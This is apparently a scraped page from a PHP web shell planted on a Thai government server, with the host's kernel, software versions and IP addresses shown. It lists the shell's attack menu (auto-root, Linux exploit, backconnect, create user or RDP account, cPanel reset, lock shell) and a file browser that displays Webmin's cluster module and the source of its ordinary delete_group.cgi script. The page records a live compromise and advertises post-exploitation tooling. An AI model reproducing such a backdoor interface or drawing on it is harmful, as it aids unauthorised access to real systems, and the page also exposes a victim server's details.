Linux ns8.secondary29.go.th 2.6.32-754.28.1.el6.x86_64 #1 SMP Wed Mar 11 18:38:45 UTC 2020 x86_64
Apache/2.2.15 (CentOS)
: 122.154.134.11 | : 122.154.134.9
Cant Read [ /etc/named.conf ]
5.6.40
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
libexec /
webmin /
cluster-webmin /
[ HOME SHELL ]
Name
Size
Permission
Action
help
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
CHANGELOG
1.05
KB
-rw-r--r--
add.cgi
2.48
KB
-rwxr-xr-x
cluster-webmin-lib.pl
7.29
KB
-rwxr-xr-x
config
25
B
-rw-r--r--
config.info
108
B
-rw-r--r--
config.info.ca
135
B
-rw-r--r--
config.info.ca.UTF-8
137
B
-rw-r--r--
config.info.cz
71
B
-rw-r--r--
config.info.cz.UTF-8
79
B
-rw-r--r--
config.info.de
129
B
-rw-r--r--
config.info.de.UTF-8
129
B
-rw-r--r--
config.info.es
87
B
-rw-r--r--
config.info.es.UTF-8
87
B
-rw-r--r--
config.info.fr
75
B
-rw-r--r--
config.info.fr.UTF-8
77
B
-rw-r--r--
config.info.hr
0
B
-rw-r--r--
config.info.hu
0
B
-rw-r--r--
config.info.ms_MY
131
B
-rw-r--r--
config.info.ms_MY.UTF-8
131
B
-rw-r--r--
config.info.nl
131
B
-rw-r--r--
config.info.nl.UTF-8
131
B
-rw-r--r--
config.info.no
131
B
-rw-r--r--
config.info.no.UTF-8
131
B
-rw-r--r--
config.info.pl
119
B
-rw-r--r--
config.info.pl.UTF-8
122
B
-rw-r--r--
create_group.cgi
3.11
KB
-rwxr-xr-x
create_user.cgi
3.95
KB
-rwxr-xr-x
delete_group.cgi
3.22
KB
-rwxr-xr-x
delete_host.cgi
248
B
-rwxr-xr-x
delete_mod.cgi
4.17
KB
-rwxr-xr-x
delete_user.cgi
2.15
KB
-rwxr-xr-x
edit_acl.cgi
3.94
KB
-rwxr-xr-x
edit_config.cgi
2.13
KB
-rwxr-xr-x
edit_group.cgi
6.35
KB
-rwxr-xr-x
edit_host.cgi
4.46
KB
-rwxr-xr-x
edit_mod.cgi
7
KB
-rwxr-xr-x
edit_user.cgi
8.96
KB
-rwxr-xr-x
group_form.cgi
2.98
KB
-rwxr-xr-x
index.cgi
9.46
KB
-rwxr-xr-x
install.cgi
7.67
KB
-rwxr-xr-x
module.info
227
B
-rw-r--r--
module.info.ca
171
B
-rw-r--r--
module.info.ca.UTF-8
190
B
-rw-r--r--
module.info.cz
33
B
-rw-r--r--
module.info.cz.UTF-8
39
B
-rw-r--r--
module.info.de
160
B
-rw-r--r--
module.info.de.UTF-8
172
B
-rw-r--r--
module.info.es
36
B
-rw-r--r--
module.info.es.UTF-8
42
B
-rw-r--r--
module.info.fr
35
B
-rw-r--r--
module.info.fr.UTF-8
41
B
-rw-r--r--
module.info.hu
33
B
-rw-r--r--
module.info.hu.UTF-8
39
B
-rw-r--r--
module.info.ms_MY
157
B
-rw-r--r--
module.info.ms_MY.UTF-8
169
B
-rw-r--r--
module.info.nl
33
B
-rw-r--r--
module.info.nl.UTF-8
39
B
-rw-r--r--
module.info.no
32
B
-rw-r--r--
module.info.no.UTF-8
38
B
-rw-r--r--
module.info.pl
163
B
-rw-r--r--
module.info.pl.UTF-8
180
B
-rw-r--r--
refresh.cgi
4.08
KB
-rwxr-xr-x
save_acl.cgi
3.33
KB
-rwxr-xr-x
save_config.cgi
1.33
KB
-rwxr-xr-x
save_group.cgi
4.54
KB
-rwxr-xr-x
save_user.cgi
5.24
KB
-rwxr-xr-x
sync.cgi
4
KB
-rwxr-xr-x
sync_form.cgi
1.8
KB
-rwxr-xr-x
update.cgi
4.1
KB
-rwxr-xr-x
upgrade.cgi
15.25
KB
-rwxr-xr-x
user_form.cgi
4.52
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : delete_group.cgi
#!/usr/bin/perl # delete_group.cgi # Delete a webmin group across all servers require './cluster-webmin-lib.pl'; &ReadParse(); &ui_print_header(undef, $text{'gdelete_title'}, ""); # Find groups and members on all hosts foreach $h (&list_webmin_hosts()) { foreach $g (@{$h->{'groups'}}) { if ($g->{'name'} eq $in{'group'}) { push(@hosts, $h); push(@mems, @{$g->{'members'}}); foreach $m (@{$g->{'members'}}) { $onhost{$h,$m}++; ($mg) = grep { $_->{'name'} eq $m } @{$h->{'groups'}}; push(@subs, $mg->{'name'}) if ($mg); } last; } } } @mems = &unique(@mems); if (@subs) { print &text('gdelete_esub', "<b>".join(" ", &unique(@subs))."</b>"),"<p>\n"; &ui_print_footer("", $text{'index_return'}); exit; } if (!$in{'confirm'} && @mems) { # Ask if the user really wants to delete the group and members print "<center><form action=delete_group.cgi>\n"; print "<input type=hidden name=group value='$in{'group'}'>\n"; print &text('gdelete_desc', "<b>$in{'group'}</b>", "<b>".join(" ", @mems)."</b>"),"<p>\n"; print "<input type=submit name=confirm value='$text{'gdelete_ok'}'>\n"; print "</form></center>\n"; &ui_print_footer("", $text{'index_return'}); exit; } print "<b>",&text('gdelete_doing', $in{'group'}),"</b><p>\n"; # Setup error handler for down hosts sub group_error { $group_error_msg = join("", @_); } &remote_error_setup(\&group_error); @servers = &list_servers(); $p = 0; foreach $h (@hosts) { local ($s) = grep { $_->{'id'} == $h->{'id'} } @servers; local ($rh = "READ$p", $wh = "WRITE$p"); pipe($rh, $wh); if (!fork()) { close($rh); &remote_foreign_require($s->{'host'}, "acl", "acl-lib.pl"); if ($group_error_msg) { # Host is down print $wh &serialise_variable([ 0, $group_error_msg ]); exit; } # Delete the group &remote_foreign_call($s->{'host'}, "acl", "delete_group", $in{'group'}); $h->{'groups'} = [ grep { $_->{'name'} ne $in{'group'} } @{$h->{'groups'}} ]; # Remove from any groups foreach $g (@{$h->{'groups'}}) { local @mems = @{$g->{'members'}}; local $i = &indexof($in{'group'}, @mems); if ($i >= 0) { splice(@mems, $i, 1); $g->{'members'} = \@mems; &remote_foreign_call($s->{'host'}, "acl", "modify_group", $g->{'name'}, $g); } } # Delete any members foreach $u (grep { $onhost{$h,$_} } @mems) { &remote_foreign_call($s->{'host'}, "acl", "delete_user", $u); $h->{'users'} = [ grep { $_->{'name'} ne $u } @{$h->{'users'}} ]; } &save_webmin_host($h); # Restart the remote webmin print $wh &serialise_variable([ 1 ]); &remote_foreign_call($s->{'host'}, "acl", "restart_miniserv"); exit; } close($wh); $p++; } # Read back the results $p = 0; foreach $h (@hosts) { local ($s) = grep { $_->{'id'} == $h->{'id'} } @servers; local $d = &server_name($s); local $rh = "READ$p"; local $line = <$rh>; local $rv = &unserialise_variable($line); close($rh); if ($rv && $rv->[0] == 1) { # It worked print &text('gdelete_success', $d),"<br>\n"; } else { # Something went wrong print &text('gdelete_failed', $d, $rv->[1]),"<br>\n"; } $p++; } print "<p><b>$text{'gdelete_done'}</b><p>\n"; &remote_finished(); &ui_print_footer("", $text{'index_return'});
Close
